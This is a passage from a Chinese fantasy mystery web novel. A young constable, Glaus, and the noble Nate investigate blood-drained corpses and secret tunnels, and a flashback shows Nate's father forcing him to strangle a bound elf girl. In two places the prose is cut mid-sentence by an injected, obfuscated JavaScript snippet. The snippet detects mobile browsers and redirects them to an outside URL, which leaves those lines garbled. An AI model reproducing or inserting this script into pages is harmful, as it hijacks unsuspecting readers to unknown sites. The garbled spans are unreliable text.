是的,那个声音让他感觉……对方似乎处在某种受伤的状态中。但是,那个歇斯底里的状态更加让他感到危险……虽然格劳斯不明白为什么只有自己一个人听见了这个声音,但是他绝不可能对此置之不理。格劳斯下意识的去摸自己腰间的佩剑,却摸了个空,不知道是不是落在先前的房间里了。但是格劳斯不想再折回去寻找,某些极危险的事件正在此地附近酝酿。他要去找内特、警告他,或者在有任何人受伤之前找到那个发出声音的人。 格劳斯往上次听到声音的方向疾步走着,每路过一个房间,他便进去瞅一眼,可是敌人或者内特没有找到,倒是连撞破了好几次别人的好事。连着被问候了几次,格劳斯不敢继续大张旗鼓地找人,他低声的喊道:“内特?内特?”一边沿着这条螺旋的走廊快步前行。 格劳斯不记得自己究竟怎么拐了哪些弯、做了哪些记号,红房子内部的结构太过复杂,所有的房间和拐角都似曾相识,而他的意识也受到这里香气和花粉的影响,变得有些太过兴奋冲动了。当格劳斯反应过来时,他已经走到了一个既没有房间、也没有人的死胡同里,两侧刷满了白漆的墙壁已经开始褪色,在往前方看是一条深邃的巷子,漆黑不见底。 真奇怪,红房子还有这种地方?格劳斯想,这大概是工作人员走的路吧?他正犹豫是继续往前走,还是就此折回去,却骤然看见不远处的黑暗中亮起一簇幽绿色的鬼火,那火焰忽明忽现的摇晃着,彷佛摄人心魄,格劳斯几乎想要走向它、握住那团火。 “格劳斯?” 一个熟悉的声音在背后响起, “你怎么在这里?” 是内特。 格劳斯立刻回过神来,发现自己面对的不是怪物,而是一堵封死的白墙,那条深色的小巷、同那团幽幽的绿火就好像是自己的幻觉,如果不是内特叫自己,他差点要直接走进墙里。 “我听见一个古怪的声音。”格劳斯说,“一路追来,好像还看见一团幽绿色的火。” 内特耸耸肩,“我不知道你在说什么。我来的时候,只看到你像傻了一样摸索这面墙。” 格劳斯这才注意到内特,他上身的衣服已经脱光了,袒露出常年习武锻炼出的深色肌肉,匀称漂亮,人鱼线一路向下,只穿一条白色的低腰裤子。 “呃,抱歉,我肯定打扰你了。”格劳斯有些愧疚的说,内特却不以为意的摇摇头。 “不关你事,本来我就想走了。” “你在这里过的不开心吗?”格劳斯问,内特有些烦躁的捏捏鼻子,没有搭话。 这次他们离开红房子轻车熟路了,由于格劳斯跟内特离开的时间尚早,明月还高悬在天空。夜晚的风吹在身上,让格劳斯身上的汗褪了下去,立刻感觉寒意。格劳斯看着内特赤裸的上身,试探的问道: “内特,要不要把我的外衣借给你穿?” 内特摇摇头,答非所问:“格劳斯,你为什么自己一个人来亚斯提都?你的父母呢?” “我是孤儿,村长把我养大的。”格劳斯说,“我来亚斯提都打工,就是想赚钱帮助村子。” 内特听着格劳斯的回答,好像在思考,又好像在走神,只是漫不经心的点点头。等到两人走到岔路口,内特说道:“抱歉,今天没有让你玩得尽兴。” 格劳斯连忙摇头:“你肯邀请我已经让我非常高兴了。无论何时,和你一起玩都很快乐。” 内特终于笑了一下,但是那个笑容转瞬即逝。他摆摆手:“下次见,格劳斯。” 然后,不等格劳斯开口,他的身影便消失在银色的光环里。 格劳斯看着内特消失的方向,呆愣了片刻,然后赶往自己租住的小公寓:他想,以后一定要搞清楚,内特提到的纹章究竟是什么。 梅菲杰拉德家的门庭还是同自己离开时一样没有任何变化。因为父亲不允许在家里使用能力,内特仅仅把自己传送到院子外面。他又想起在红房子的事情,一时情绪有些低落。 那时,他已经熟练的拥着一个女孩躺到床上,她同样有一头柔顺的长发,闪烁着银色的光泽。女孩的嘴唇咬起来像柔软的贝肉,内特一手托着她小巧的脸颊,一手顺着她的头发去解她的衣服。就在这时内特注意到她尖尖的耳朵,他感觉像有一盆冷水突然泼在身上。 “你是精灵?”内特问道。 “嗯?是啊。”女孩不甚在意的说,“怎么了,你对和精灵上床介意吗?你自己不也是精灵吗?” “你说什么?你怎么知道?” 女孩玩弄着一缕垂在耳后的头发,狎笑着:“你的发色啊,我们一看就知道。你的银发继承自你的母亲吧?” 内特立刻发狂起来,他一下子扑过去,猛的抓住女孩的脖子,双手缩紧。 “谁准你提她的?你怎么配在这里提她?”内特压在女孩的身上,仿佛依然陷在梦魇里:“精灵……精灵!我说过,不要让精灵上我的床!”那精灵在他手下拼命的挣扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赖兹瑙问:“那么,你觉得精灵怎么样?” 内特一下子语塞。 “我觉得精灵,就像对待其他人一样……” 赖兹瑙摇摇头。他走到内特身边,从口袋中掏出一块怀表。打开表盘,里面是一张女士的照片。她的容貌风姿绰约,耳朵尖尖的,银发像流泻的月光。 “这是你的母亲。”赖兹瑙说。看到母亲的照片,内特一下子呼吸急促起来。 “她在你出生不久后就病逝了,我请了最好的医生来,也依然药石罔效。我很爱你的母亲,但是我也清楚的知道,她再也不会回来了。”赖兹瑙说,“即使世上还有其他人,其他像她那样的精灵,但她们都不是她,再没有任何人能比得上你的母亲。” 赖兹瑙的手搭上内特的肩膀,内特颤抖了一下。 “明白吗,内特?即使是精灵,也不过是低贱的生命。除了你爱的人,没有任何生灵值得你的关心。而你爱的对象,最好用心斟酌。” “是的,我知道,爸爸。”内特嗫嚅道。 赖兹瑙点点头,松开手。随后,他走到床边,揭开那张铺着的毯子: “过来,内特。看清楚,这是什么。” 内特感觉自己全身的血液都凝固了,他僵硬的,几乎窒息的走到父亲的身边,几乎不敢去看床上的女孩。她的银发还闪烁着光泽,因为被捆住手脚而呜呜的挣动着,白皙的颈部上,深红色痕迹还没消退。 “这是……一个普通的精灵。” 赖兹瑙啪的扇了内特一巴掌。 “重说。” 内特捂住发红的脸颊,咬住牙齿,再一次说道: “这是……一个低贱的生命。” 赖兹瑙毫无温度的眼睛看着内特,继续问道:“低贱的生命,她们值什么?” 内特努力不让泪水落下来。 “低贱的生命一文不值。” 赖兹瑙后退一步,让开床边的空间。那个精灵仿佛意识到什么,更加剧烈的挣扎起来,她看向内特的眼神,充满绝望的祈求。 内特垂着头发,他的双手再一次握住那个女孩的颈部。他缓缓收紧,精灵垂死的声音像一串气泡,他能感觉到手掌下跳动的温热的血管,但是正在流逝,像水流越来越细。可是这次他不会松手了,他依然紧紧握着那个精灵的喉管,直到她的瞳孔因为缺氧而扩大,血色从脸上彻底消失,然后变成彻底的沉寂。 内特松开手,重新站回父亲身边。赖兹瑙揉揉内特的头发,拍了拍手,便有佣人悄无声息的走进房间,把尸体从他的床上抬出去。 “做得好,我的儿子。”赖兹瑙说,“你以后会明白的,这才是父爱。睡吧,内特。晚安。” 4. 04-第三位死者 自从上次在红房子和内特分别,格劳斯已经一周没见到内特了。他虽然怀念曾和内特并肩前行的短暂经历,但是作为下级治安官的繁忙工作很快就让他分不出神了。 他的上级,也就是招募他的人是一位三十岁多岁的中年人,贝特兰德,中等身材,黑发已经有几缕发白,穿一件浆洗干净的黑色马甲,住在亚斯提都的下城区外围。他们这个部门一共六个人,每人负责亚斯提都对应的一部分区域,格劳斯负责的是东边的下城区,他每天早上五点到达工作的三层小楼,记录昨天晚上下城区哨所守卫和治安人员汇报的特殊事件,然后再将这些事按照可以解决的优先级分类,特殊事件可以在一个小时后的晨会向贝特兰德汇报,然后如果没有别的工作安排,他就和其他同事开始按照优先级解决这些问题,而贝特兰德负责在楼里做一些文书工作。 从目前这一周的情况来看,格劳斯收到的最多的报告是昨夜又有人酒后发疯伤人,或者发生了入室抢劫。人口失踪倒是非常频繁,但是丈夫或者妻子丢了这事实在太常见了,去红灯区翻翻,都能找到几个夜不归宿的流浪汉。格劳斯通常只是将这些事分类,整理,并不负责追踪,而是长时间的和守卫一起在各个区域巡逻,以维持秩序。 格劳斯看完自己的记录,看到桌子上还有厚厚一沓资料,他拿起来翻了翻,有些困惑地问道:“下城区靠近护城河的街道是谁在负责?” 贝特兰德瞟了一眼,然后说:“爱德华家的儿子,米尔·爱德华吧。” “他似乎已经三天没有来值班室了。”格劳斯说,“而这几条街道一直有居民在失踪。从上周到今天,已经失踪了两个人。” “失踪的人应该是喝多了掉河里了。”贝特兰德面无表情地说,“米尔可能决定回家继承家业,于是连三天打鱼两天晒网的表面工作都不做了。格劳斯,你去下城区跑一趟,问一下爱德华还来不来。不然你每天巡逻的范围就可以再增加几条街道了。” “好的长官!”格劳斯行了一礼,然后拿上配剑,戴好臂章。他从村里带出来的那把剑已经落在红房子里了,格劳斯觉得自己没大可能再回去取,于是从剩下不多的钱里又重新请铁匠打了一把新的。 属于皇室的水晶城是亚斯提都的中心区域,西北是大学士城和贵族的庄园,而它的东南部向远处延伸则是下城区。下城区的面积仅有水晶城的二分之一,却居住了亚斯提都九成以上的居民,超过十万人住在那里。农民,铁匠,小贩将每一条街道都拥堵的水泄不通,落叶,腐烂的货物和垃圾一层一层堆在道路上,格劳斯跑过去,只感觉脚下滑腻,气味古怪刺鼻。 越靠近边界的护城河,行人越稀少。格劳斯走到米尔负责的报告有人失踪的街道,环顾了一圈,城墙一直有持枪的侍卫站岗放哨,这一带也没有太多居住的人家。格劳斯向向正在站岗的赤羽侍卫出示了自己的治安官臂章,打听了一下米尔的住址。 但是等格劳斯走到米尔的家门时,出乎意料的,对方的家里却无人应答。他的门窗已经遭人砸破,格劳斯扒开碎玻璃往屋里瞅了一眼,明明是白天,屋里却黑黝黝的,没有点灯、也不像有人在活动。他心中感觉有些古怪,一手搭上腰间的佩刀,一边走到大门口,手一推,门锁竟然没有锁住,嘎啦啦几声,往里室打开了。 格劳斯想,米尔一介平民,不会有什么巨大的危险。自己看见一些异常就去报告,未免太小题大做。就算真的发生打斗,这里离守卫近,自己也能立刻和其他人取得联络。 想到此,格劳斯拔出腰间的佩刀,小心翼翼的走进屋内。屋内的气味酸臭难闻,虽然是白天,屋内却漆黑一团,只有刚才推开门时微弱的光照进来。格劳斯四下扫了一下,这是一个简陋狭窄的一室一厅,自己此刻就在客厅里。正对着外面的街道。客厅里面的家具乱作一团,看起来像是被人洗劫一翻。格劳斯撇开打碎在地上的台灯,一些食物掉在地上,已经烂的发霉。 这里可不像有人居住啊。格劳斯在心中想。 “米尔?米尔你听得到吗?我是格劳斯。”格劳斯试着喊了几句,屋内却鸦雀无声。格劳斯注意到客厅背后还有一扇遮着的小门,通往卧室。格劳斯慢慢走近门外,侧耳听了一下,门后依然寂静无声。然后他抬起刀,略微后退一步,接着猛地一脚将门踹开。 砰的一声,本就不结实的木门应声而碎,格劳斯撇开激起的漫天灰尘,可是预想的袭击并没有出现。格劳斯眯起眼睛,适应了一下同样黑漆漆的房间,没有窗户,眼前的卧室同客厅一样空空如也,只有一张破床,床上堆满杂物,几乎占据了小屋一大半的空间。这个屋主人已经很久没有来过这里了,客厅大概是让小偷光顾过,所以一片狼藉。他转过身,正要去查另外几家失踪的人, 突然听见身后喀啦啦几声异响。格劳斯猛地转头,发现是刚才那堆杂物塌了,现在米尔的床上出现一个小小的凹陷。 格劳斯凑进来看,发现是床板的木头老化,支撑不住这么多东西,或许是自己刚才开门的动静太大,破坏了这座垃圾山原本的平衡,让它一下子坏了。格劳斯擦了一把额头的汗,正准备去看床下的情况,眼角余光一闪,突然感觉有些不对劲。 他看到有一个人坐在床边。 ·· 格劳斯惊得出了一身冷汗,他走过去,发现那是一具男尸,男尸眼睛瞪得浑圆,嘴巴大张,以坐着的姿态被摆在床脚的墙边。刚才格劳斯注意到的反光就是尸体的眼球闪烁的。原本那些杂物挡住了他,加上屋内光线昏暗,格劳斯才没注意到。后来杂物滑落,这具尸体才显露出来。格劳斯半跪下来,比对了一下男人的容貌和衣着,确认他就是这个房间的原主人,米尔·爱德华。死亡时间不超过三天,所以还没有腐烂。格劳斯用刀把尸体的身体翻倒,发现尸体浑身没有明显的外伤,只有在颈部有一个小伤口,好像是被什么东西咬的。 格劳斯想,莫非是鼠疫?但是这个男人面色发青,症状显然不是老家那些死于鼠疫的人,又松了口气。水晶城有十几万的居民居住,要是闹了瘟疫,可就太骇人了。格劳斯不再研究尸体,准备将这个工作交给专门分析的守卫,转头开始收拾旁边的杂物。这座小山似的东西滑到地上,大多是没用的衣物,箱械器材,但是格劳斯却觉得这些东西下还掩藏着什么东西。 突然,他的手摸到冰冷滑腻的触感。格劳斯吓了一跳,浑身哆嗦一下,看见一只青白干枯的手从杂物堆中被翻出来。格劳斯觉得头皮都要炸开了,他忍住恶心,把这具尸体往外一拽,又拖出一具枯瘦的干尸,从身上的裙子看来是位女性,只是现在已经好像被吸光了血,浑身的皮肤枯瘦的绷着骨骼。 格劳斯感觉毛骨悚然,不知道这间房屋里还藏着多少死尸或别的吓人的玩意。格劳斯决定先不想这个问题,他当机立断,放弃独自调查这个屋子,立刻把发现报告给了最近的守卫,并叫他们传话给贝特兰德记录。 格劳斯重新站在水晶城的阳光下,感觉太阳暖融融的,长出一口寒气。两个银甲守卫已经封锁了这条街道的两头,另外还有三人在米尔的屋里整理房屋内的尸体。格劳斯虽然也该跟着他们一起进屋,但是现在他实在觉得那个房间太过不祥,还是呆在太阳底下比较舒服。银甲卫士的动作非常快,一共在这个房间翻出三具尸体,一具正是米尔·爱德华本人,另外两具则是同样在这个街道失踪,不久前上报的居民。三人均是颈部有被咬伤的痕迹。 在这个当口,街道两侧已经围了不少看热闹的居民。格劳斯走到一群正眼巴巴的望米尔的房屋张望的老太太边上,探寻的问: “奶奶,您们认识米尔·爱德华吗?” 听到这个名字,几位老人都露出有些嫌恶的神色,其中一人解释道:“米尔,是老爱德华的独子,他不学无术,天天赌博、玩女人。我们都瞧不上他。” “他原本有不少钱,后来全都败光了,为了还债还卖掉了他父母给他的房子,只能搬到这个没人要的破屋。他的老汉知道以后,直接气死了。”另一个老人接话道,“听说他的工作是他父亲的老朋友看他可怜才收留的,但是每次领了工资,都去红房子玩的找不到人。这种人死了,是老天爷收的。” 格劳斯想,米尔这个人人品或许确实不端,但是大活人凭空死了肯定不是老天爷收走的。 他又问:“那最近这段时间,您们有看到什么奇怪的事情吗?” 那些老人有七嘴八舌的讨论起来,有人说最近听到房间有异响,后来却发现是在闹耗子,要格劳斯去抓老鼠;另一个人则埋怨总是看不清东西,看什么都模模糊糊的。还有人怪现在的菜市场价格越来越高,红菜头三颗上个月只收二银币,现在要四银币了—— 格劳斯突然注意到一件事,问道:“您刚才说,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502493|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个房子没人要,这是为什么?” “还能是为什么呀,那房子闹鬼。”老人撇撇嘴。 “闹鬼?” 可是老人们显然不愿意谈这个话题,她们很快把目光转到格劳斯身上,开始为他做媒说人。 “小伙子,这么正经,今年多大啦?有没有喜欢的女孩呀?” “呃,十八岁,还没有这个打算——” “是没有,还是没有表白呀?我知道一户人家的姑娘,就喜欢年纪小的。” “不用了,谢谢您,也谢谢那个姑娘,但是我恐怕承担不起……” “没钱不是问题!你长得标正白净,我知道有人正在找上门女婿……” 格劳斯正一个头两个大的解释,老人们却反倒了来兴趣,拉住格劳斯问东问西。格劳斯推脱不过,正在苦恼,突然听见另一侧传来带着怒气的高声: “正在查案,所以此路不通?这是什么意思?” “本大爷好不容易心情好出来逛逛,却不让我过去是怎么回事?” “我不管,你知道我是谁吗?——” 格劳斯忙摆脱老人们缠着自己的手,挤到这一侧的看守旁边。高大的守卫躬着头,正满头大汗、惴惴不安地向对方解释,而对方却似乎越来越生气。那个青年银发俊美,身姿挺拔,此刻正双手抱肘,蹙着眉头,一副怒气冲冲的样子。 “内特?”格劳斯欣喜地问,“又见面了!” 内特的眉毛抬了一下,“格劳斯?你也在这?” 他的双手垂下来,明显不再生气了。 “一位前治安官出了事情,我正在调查。”格劳斯解释道,他朝那个新的守卫使了眼色,示意对方放行。 “这是梅菲杰拉德家的公子,内特。他不是外人,和我一起的。”格劳斯说,见有人愿意担责,对方立刻如蒙大赦的开路了。 格劳斯引着内特往出事的房子的方向走,边走边向他解释案情。内特垂着眼睛听着,有一茬没一茬的点头。格劳斯注意到,内特眼袋很重,眼睛失神,银发也不像往日富有光泽。他刚才的火气那么重,也不像他往日的风格。 “内特,你有什么焦虑的事吗?这几天都没有见到你。” “嗯?什么?不,我没事。”内特摇摇头,却好像牵动了什么伤口,好看的眉毛僵了一下。 他把手摁在颈后揉了揉,岔开话题:“你刚才说有房子死了人,叫米尔的,是吗?” “是的。同时发现的还有另外两具尸体。” “唔,你倒是过得很有趣嘛。”内特瞥了格劳斯一眼,“也只有这些下等民值得你跑东跑西了。” “只要是我的工作,我都会认真完成。”格劳斯略过了内特言语里的讥讽,问道:“今天你没有事情吗?会不会耽误你?” 内特耸了耸肩。 “反正,就当是找找乐子,死人这种事每天都会发生,谁管他们是为什么。而且,好不容易过了一周——”内特的话戛然而止,他看了格劳斯一眼,咕哝道:“现在回去也没意思。” 格劳斯从不问内特不想说的东西,他很快带着内特走到那个死人的房间。房间已经基本清理干净了,守卫正在清点剩余可用的财产,然后这栋屋子会被封起来——大概一个星期,如果案子还没有更多的进展,这里就会被清理干净,让下一户人住进来。尸体现在都被平躺在卧室内的地上,房间很小,所有人都在外面的客厅把东西一件一件的往外搬。看见内特和格劳斯,便点点头,也不干涉他们。 “这里就是发现尸体的地方。”格劳斯指了指那个没有窗户的房间,而内特毫不犹疑,已经先他一步走了进去。在这种事上,内特似乎一向胆大。 “虽然尸体的死因有些蹊跷,但是我觉得没什么好看的。”格劳斯在屋外说,“我觉得自己应该什么都查不到。” “格劳斯?”过了一会,内特的声音从屋里传来,“你刚才说,尸体有几具?” “三具啊,一个米尔,另外两个失踪者——”格劳斯闻声进屋,就看见内特正注视着地面,他的手指着地上平躺的,摊开的尸体: “可是这里只有两具啊?” 格劳斯一下子愣住了。不可思议的、难以置信的。 毛骨悚然的。 地上直直的躺着两具尸体。属于米尔·爱德华的那一具, 消失了。 5. 05-地下迷宫 格劳斯感觉自己这辈子都没遇到这么离奇的事情。米尔·爱德华死在了自己家里,跟着发现的是两具尸体同样流干血的死尸。而就在自己离开这个房子,还有好几个卫士在现场工作的短短十几分钟情况下,米尔·爱德华的那具尸体不翼而飞了。这怎么可能呢?尸体又不会自己迈步跑了,这里又一直有人……格劳斯突然想起来内特之前展示的不可思议的空间能力,说起来,真的不会有人能让尸体自己跑起来吗? 格劳斯下意识的问:“你刚才没有做什么吧,内特?” 内特瞥了他一眼,不快地皱了眉头:“你觉得是我做的?我为什么要做这种事?” 格劳斯忙摆摆手:“我就是猜测,或许米尔也像你以前提到的那样,比如有纹章——” 内特站起身,饶有兴致的打量了一圈,然后说:“确实有的纹章可以让死人也行动起来,但是我可以明确地说,这里的事情和那个纹章没有关系。” 他扭过头,把目光转向这个房间唯一的物品,一张破床,之前上面垒了大量的杂物,现在物品都已经被清空,只剩脏兮兮的床板和已经被压变形的木头床架。那两具尸体就是在杂物堆里发现的。 “现在只有两种可能:一,那个叫米尔的没有死,自己跑了。二,有人带走了他的尸体。” “他应该是死透了。”格劳斯说,“我没见过烂成那样还能活着的人。” “那就是第二种了,有人带走了他的尸体。” “可是,那个人怎么跑的呢?这个房间根本没有窗户,我们守在外面,也没看见——” 内特把食指放到唇边,比了一个噤声。他的目光移向那张破床。 他抽出格劳斯腰间的佩刀,反手握住,慢慢走到这张床的旁边。 格劳斯突然明白了内特要做什么——如果真的有某个人,带走了尸体,而在没有窗户、只有门的密室都没有看到有人离开的话, 那么那个人,一定还留在这个房间里。 内特一刀直直刺下,咔嚓一声,破床板被扎得对穿,连两侧腐烂的木板也连着碎裂,掉下床底。格劳斯被惊得差点蹦起来,但是预想的攻击或者更骇人的场景并没有出现,格劳斯看见内特后退一步,把这张已经碎成渣的床板踹到一边。床底下赫然是一个黑色的大洞,床架的木头碎片刚刚就是掉进里面。格劳斯凑过去,这个洞大概三英尺宽,不知道有多深,靠近的时候,有一股寒气混合着难闻的气味扑面而来。 格劳斯拿来一盏提灯,在洞的上方照了照,洞里漆黑一片,立刻就把光吞噬了。这洞不知道出现多久了,也不知道里面有多深。格劳斯猜测,尸体肯定就是刚才被拖进了洞里,才能这么神不知鬼不觉。 内特一手扶着洞口,一手提灯,做了个倒卷珠帘势,把身子往洞里倒探下去。格劳斯站在他旁边,看见他白色的上衣往下翻卷,露出覆着肌肉的腰腹。内特很快把身子收回来,拍拍身上的灰,然后说:“下面有一条隧道,不知道通向哪里。这个洞只有五六英尺深,但是底下倒很宽敞。” 说完内特就要跳下去,格劳斯忙拉住他:“别啊!我们还不知道这下面有什么,你这么下去太危险了。” 内特看了一眼格劳斯抓着他袖套的手,把手抽回来,哼了一声: “下面就算有东西,也伤不了我。” 他的眼睛眨了一下,下一刻,格劳斯看见离内特十几公分的位置,空间变得若隐若现。他抬起手指,靠近那片空间时就像碰到一堵无形的墙,没有办法再接近内特分毫,好像内特本人被笼罩在一个无形的保护层里。 “看到了吗?只要我想,谁都碰不了我。” “这也是你的纹章的能力之一?” 内特颇为骄傲的点点头,这时候,屋外的银甲守卫也已经清点完外面的物品。得知刚才发生的这些事,大伙也是一阵骚乱,没想到这间小小的起居室里竟然如此藏龙卧虎。 内特当然主张现在就下洞看看,但是其他人明显犹豫起来。有人觉得这件事应该往上通报,或者派专门的人来处理,只是看着内特的面子,都不敢直接的反驳他。 格劳斯也觉得现在就这么下洞太冲动了,除了内特,他和另外三位侍卫都是没有纹章的普通人,而这个洞通往哪里、里面有什么东西,现在都毫无头绪。底下的人既然能在光天化日之下出现又大摇大摆的消失,就一定有些手段。而且,格劳斯想起来那三具尸体颈部的小口,隐隐觉得不安。 内特见大家都兴致不高,便不再坚持,一把推开挡着他路的守卫,大步从屋中走出去。格劳斯跟着他走到屋外,内特回头问道:“喂,我要去红房子玩,你来不来?” 格劳斯不太好意思地说:“我今天的工作还没结束……” 他看内特有些愠怒,但是自己刚开始工作几天,现在就翘班实在不合适。作为初来乍到的平民,格劳斯很珍惜来之不易的机会,难道他能指望以后内特养他吗? 内特撇了撇嘴,准备离开。格劳斯突然灵光一现,开口问道:“内特,能不能再等一下?我有个地方想去。” 内特问:“你想去哪?” 格劳斯说: “我们去另外一个死者的家里。” 他想,如果我猜的没错,他们的家里一定也能找到类似的密道。 另外两人的家也同样是杂物如山,各种破烂的家具堆在一起。格劳斯见这里尘土飞扬,脏乱的无处下脚,不想让内特进去,便对他说道:“你留在外面,这些翻东西的活,我自己去做就好啦。” 内特说:“不用这么大费周章。”他把手放在屋门的墙上,闭上眼睛,格劳斯再一次看见银色的线条从他的眉心浮现,蔓延上他的手,然后仿佛有生命力般延伸上这面墙和里面的屋子。过了一会,内特把手收回来,睁开眼睛: “你猜得对,屋子里也有一个空洞,就在客厅的沙发后面。” 格劳斯赞叹道:“你的纹章真是不可思议。它究竟是什么?究竟怎么才能得到这个呢?” 内特颇为得意的笑了笑,故弄玄虚地说:“下次告诉你。”然后率先走进了屋里。 沙发后面果真如内特所言,是一个同样一米宽的洞。格劳斯拿着提灯在上面晃了晃,里面倒是没有气味,只是黑得深不可测,幽幽的瘆人。 不等格劳斯说话,内特就单手一撑,从洞口跳了下去。格劳斯知道自己的能力远远比不上内特,但是他不放心内特一个人就这么跑到地下去,咬咬牙,也跟着跳了下去。 格劳斯原本以为自己会狠狠跌落在地,但是这个洞低比他想的浅得多,只有三四米。底下的空间倒是很大,是一条笔直的隧道,高度足够成年男子直立行走。而内特就站在不远处的隧道里,见格劳斯跟过来,笑了一下。 格劳斯一手拿着提灯,一手握剑,走到内特前面。油灯的光线只够照清前后五六米的位置,他们走了十几米,先前进来的洞口边看不见了。地底下没有光线,伸手不见五指的漆黑中只有他和内特两个人,好像一个压抑的小小世界,不禁让人心生郁闷,背后发毛。 内特看出格劳斯的紧张,便安慰他道:“别担心,我把我的空间屏障扩张到咱们两人了。即使有什么东西攻击你,也不会受伤的。” “这地底下不知道通往哪里,如果我们迷路怎么办?” “首先,我认为只要一直往前走,就一定能找到出口。”内特说。“其次,就算真的迷路,我也可以用空间纹章把我们传送出去。” 内特刚说完,他们面前便出现一个岔路口。左右两边的隧道都挖的十分整齐,宽度也相似。格劳斯看向内特,内特随便把手一指:“走右边。” “不用你之前探索空间的能力查看一下这两条路都通向哪里吗?” “空间探查是十分耗费精力的。我们接下来的路不知道还有多远,我还要分神使用空间屏障,这种路就随便吧。” 格劳斯不知道内特是神经大条还是太过自信,既然内特见多识广,便老实听他的。好消息是,地底的空气一直流通,让他们不至于缺氧。只是接下来他们又遇到了好几个岔路口,这样在地底下弯弯绕绕的走了几段后,格劳斯算是彻底晕头转向了。他甚至觉得刚刚穿过的一个岔路口十分眼熟,不知是因为在地下,所有的路都看起来十分相似,还是他们真的在不知不觉中走了回头路。那样的话,若不是有内特这个近乎万能的“空间纹章”,不管他们有多少人恐怕都会困在这里。 “这地下可真大啊。”内特说,“再这样走下去,感觉整个亚斯提都都要被挖空了。不知道是谁这么有闲做的?我该回去告诉爸爸这件事。” “你的父亲是很有话语权的人吗?” “那当然了。赖兹瑙·梅菲杰拉德,你没有听说过吗?我的爸爸是这个国家除了皇帝之外地位最高的人,和大将军平起平坐。他是财政大臣、宰相、前翼龙军团的首席骑行士,被尊称为帝国之眼。” 一提到父亲,内特就变得滔滔不绝起来,或许是在地下,内特也不像平时那么生人勿近。 “你很崇拜你的父亲吧?”格劳斯问。 内特不置可否。 “所有人都会吧?他十六岁从军士学校肆业,加入了西南对魔族的征战军队。他的战功彪炳,履历卓越,得到了皇帝的褒奖。后来他认识了我的母亲,在政治中平步青云,二十四岁就入朝拜相——没有人比他更了不起了。” “你也想成为你父亲那样的人吗?” 内特罕见的沉默了一下,抿了抿嘴:“想啊……只是不知道能不能做到。” 格劳斯想,内特已经是他见过最了不起的人了。不知道他口中的父亲,又是何等出类拔萃的人物。 “真好啊。”格劳斯扬起头,叹了口气:“我都没有见过我的父亲。听村长说,他们在村门口的街道上捡到了我。什么样的父母会把自己的孩子丢掉呢?” “他们肯定有什么难言之隐,”内特说,“没有父母会抛弃自己的孩子的。” 格劳斯笑了笑,他不再言语,继续在黑暗中前行。不知道又往前走了多久,他手中的提灯灯火晃了晃,火苗变得微弱了。 格劳斯问:“内特,我们在地底下走了多久?” 内特想了一下:“大概半个多时辰了吧。” “我们从那个死者的家里出发,走到米尔的家里也不过半个时辰。”格劳斯说,“我们现在已经在地底下走了这么久,还没有看到任何出路。会不会是我们走错了?” 内特可能也得出了类似的结论,但是不愿承认,于是咕哝道:“好吧,我们今天的探索就到这里,我把咱们传送出去——” 内特话音未落,格劳斯突然感觉浑身一阵寒冷,手中的油灯灯火闪了闪,竟然已经烧尽了,光噗的一声灭了下去。 骤然陷入黑暗,格劳斯倒也并不惊慌。只是他听见身后的内特慌乱的叫到:“光,光怎么突然没有了?格劳斯,发生了什么事?” “油灯的灯油燃尽了。”格劳斯说,“这种廉价的灯,能烧这么久也差不多了。” “油灯还能自己灭吗?”内特声音带着恐慌:“我家的灯从来没灭过!” “别担心,我们出去后再准备一盏灯就行。”格劳斯说,“我也没想到我们能在地底下停留这么久。所有的灯都是烧油的,你们家肯定是仆人一直在点灯。” 可是格劳斯等了一会,内特也并没有发动传送。他感觉有些不对劲,转过身,黑暗中看不见内特,他摸索着抓住对方的手,仅仅是这个动作就吓得内特跳了一下。 “别怕,内特。虽然现在没有光了,但是出去就好了。” “不是这样的,”内特声音颤抖说,“看不见的话……我就没办法……” “你说什么?” “我必须能看见东西才能发动传送。不然,我的空间感知能力会失效——” 格劳斯感觉头皮都炸了,这么要命的事怎么现在才说?!要不是他轻信内特的能力,会这样毫无准备的跟着他下到这个隧道里?现在他们被困在伸手不见五指的地底下,晕头转向,黑暗中还随时会受到攻击,到时候连怎么死的都不知道! 但是格劳斯毕竟一个人从小在外面摸爬滚打,遇到这种突发情况,也 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内特对格劳斯说的话不置可否,看起来吓得六神无主。格劳斯知道,留在原地只有死路一条,没有食物和水,随时可能遭受攻击。唯一的逃生之路就是不断往前走,那个米尔生前是个赌棍,如果这个洞在他活着之前就存在了,没道理那个赌徒走的出去他们走不出去。 他扳住内特的肩膀,颇为用力地说:“内特,我需要你冷静下来,好吗?现在更是需要你的空间屏障的时刻。我会带着你往前走的,你要相信我,不要松开我的手,好吗?” 格劳斯的眼睛勉强适应了黑暗,他看见内特点了点头。于是便不再言语,一手握住对方,一手摸着墙,摸索着往前走。格劳斯感觉到,手底下的土攘似乎变得比刚才更潮湿一些了。他不知道这是好事还是坏事,只能硬着头皮继续往前。 黑暗中的时间似乎格外漫长,若不是还能听到内特的呼吸和脚步声,一个人走在这个地下,真的会被压抑的环境和恐慌逼疯。格劳斯走在前面,他心中同样是无头苍蝇乱飞,但是他牵着内特的手,他能感觉到对方的恐惧,但是因为相信自己,所以坚持跟在自己后面。格劳斯在心中给自己打气:格劳斯,不要怕!这不过是对你未来成就一番大事的小小考验!今天不管遇到什么牛鬼蛇神,到时候都统统砍了再说! 或许是他对自己的打气有了效果,格劳斯又往前走了几步,竟然真的感觉手被什么咬了一下,惊得叫了一声。他身后的内特连忙僵住: “发生了什么事?” “有虫子,咬了我的手一下。” 